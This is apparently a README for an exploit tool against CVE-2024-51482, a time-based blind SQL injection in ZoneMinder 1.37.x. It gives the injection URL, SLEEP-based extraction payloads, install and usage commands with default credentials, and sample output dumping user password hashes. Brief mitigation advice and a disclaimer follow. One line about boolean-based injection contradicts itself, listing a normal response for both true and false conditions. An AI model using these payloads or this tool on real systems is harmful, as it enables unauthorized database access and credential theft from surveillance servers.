CVE-2024-51482 - ZoneMinder Blind SQL Injection

Table of Contents

• Overview
• Vulnerability Details
• Technical Analysis
• Exploitation Guide
• Installation
• Usage Examples
• Mitigation
• References

Overview

CVE-2024-51482 is a critical boolean-based SQL Injection vulnerability discovered in ZoneMinder, a popular open-source CCTV surveillance software. This flaw affects versions 1.37.* through 1.37.64 and allows authenticated attackers with low privileges to execute arbitrary SQL commands on the underlying database server.

Vulnerability Details

Affected Versions

• Vulnerable: ZoneMinder v1.37.0 through v1.37.64.
• Patched: ZoneMinder v1.37.65 and later.

Root Cause

The vulnerability exists in the web/ajax/event.php file within the removetag function. The parameter tid (Tag ID) is directly concatenated into an SQL query without proper sanitization or parameterization.

Vulnerable Code:

case 'removetag': 
    $tagId = $_REQUEST['tid']; 
    dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); 
    $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE! 
    $rowCount = dbNumRows($sql); 
    // ...

Fixed Code:

$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Parameterized query

Attack Vector

The vulnerable endpoint can be triggered via:

http://target/zm/index.php?view=request&request=event&action=removetag&tid=[INJECTION_POINT]

Technical Analysis

Why Boolean-Based Blind Injection?

The injection point doesn't return query results directly in the response, making traditional UNION-based attacks impossible. Instead, we must infer information through boolean conditions or time delays.

• Boolean-based approach:
  • True condition → Normal response time.
  • False condition → Normal response time.
  • Requires observable differences in application behavior.
• Time-based approach (more reliable):
  • True condition → Delayed response (SLEEP).
  • False condition → Normal response time.

Exploit Mechanism

Our exploit uses time-based extraction with the SLEEP() function:

1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)

When this condition evaluates to true, the database sleeps for 2 seconds, creating a measurable delay in the HTTP response.

Character Extraction Process

• Binary Search: For each character position, we test ranges using ASCII(SUBSTRING()) > MID.
• Time Measurement: If the condition is true, SLEEP triggers.
• Character Reconstruction: Build the string character by character.

Example payload for extracting character at position 1:

1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)

Exploitation Guide

Prerequisites

• Target running ZoneMinder 1.37.0 - 1.37.64.
• Valid credentials (default: admin/admin).
• Network access to the ZoneMinder web interface.

Installation

# Clone the repository
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482

# Make the script executable
chmod +x CVE-2024-51482.py

# Install required dependencies
pip3 install requests

Basic Usage

# Test if target is vulnerable
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --test

# Discover all databases
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover

# List tables in a specific database
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --tables zm

# List columns in a specific table
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --columns zm Users

# Dump data from specific columns
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Users "Username,Password"

# Dump users table (default)
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users

# Enable debug output for detailed extraction process
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --debug

# Adjust sleep time for more reliable extraction
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --sleep 3

# Disable colored output
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users --no-color

Usage Examples

Example 1: Vulnerability Testing

$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: 192.168.1.100
[*] Logging in as 'admin' on 192.168.1.100...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.058s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!

Example 2: Database Enumeration

$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --discover
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.065s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Enumerating databases...
[+] Found database: information_schema
[+] Found database: performance_schema
[+] Found database: zm
[+] Databases found: 
1. information_schema 
2. performance_schema 
3. zm

Example 3: Dumping User Credentials

$ python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --users
[*] CVE-2024-51482 - ZoneMinder Blind SQL Injection Exploit
[*] Target: <target-host>
[*] Logging in as 'admin' on <target-host>...
[+] Login successful
[*] Measuring baseline response time...
[*] Baseline median: 0.062s
[*] Testing vulnerability with 2s sleep...
[+] Target is vulnerable!
[*] Dumping Users table from zm database...
[*] Enumerating columns in 'zm.Users'...
[+] Found column: Id
[+] Found column: Username
[+] Found column: Password
[+] Found column: Language
[+] Found column: Enabled
[*] Dumping data from 'zm.Users'...
[+] Row 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Row 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Users extracted: 2 
User: admin 
Pass: $2y$10$...hashed... 
Email: admin@localhost 
Enabled: 1 
User: operator 
Pass: $2y$10$...hashed... 
Email: operator@localhost 
Enabled: 1

Example 4: Custom Data Extraction

# Dump specific columns from Events table
python3 CVE-2024-51482.py -i <target-host> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"

How The Exploit Works

Step-by-Step Breakdown

1. Authentication: The script first authenticates to ZoneMinder to obtain a valid session cookie.
2. Baseline Measurement: Sends 5 normal requests to establish average response time.
3. Vulnerability Confirmation: Tests with SLEEP(2) payload to verify injection works.
4. Character Extraction: For each character position, binary search determines the ASCII value:
   • Query: ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .
   • If condition true → SLEEP triggers → Response delayed.
   • If condition false → Immediate response.
5. String Reconstruction: Characters are concatenated to form complete strings.

Key Features

• Binary Search Algorithm: Extracts characters in log₂(95) ≈ 7 requests per character.
• Adaptive Timing: Automatically calibrates baseline for accurate detection.
• Progress Indicator: Shows real-time extraction progress.
• Error Recovery: Handles connection timeouts gracefully.
• Debug Mode: Shows detailed character-by-character extraction.

Mitigation

Immediate Actions

• Update ZoneMinder to version 1.37.65 or later :
  root@kitploit:~

  sudo apt-get update
  sudo apt-get install zoneminder
  

• If patching is not possible, restrict access to the vulnerable script:
  root@kitploit:~

  # Apache configuration 
  Require ip 192.168.0.0/16
  

• Implement principle of least privilege for database accounts.
• Monitor logs for suspicious SQL injection attempts:
  root@kitploit:~

  grep -i "sleep\|union\|select" /var/log/zm/*.log
  

Long-term Recommendations

• Use parameterized queries for all database interactions .
• Implement Web Application Firewall (WAF) rules .
• Regular security audits and penetration testing .
• Keep ZoneMinder and all dependencies updated .

References

• GitHub Security Advisory - GHSA-qm8h-3xvf-m7j3
• NVD Entry - CVE-2024-51482
• Patch Commit
• CISA Vulnrichment
• Tenable Nessus Plugin
• Check Point Advisory

Disclaimer

This tool is provided for educational and security testing purposes only. Unauthorized testing of computer systems is illegal. Always obtain proper authorization before testing any system.

CVSS Vector String

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H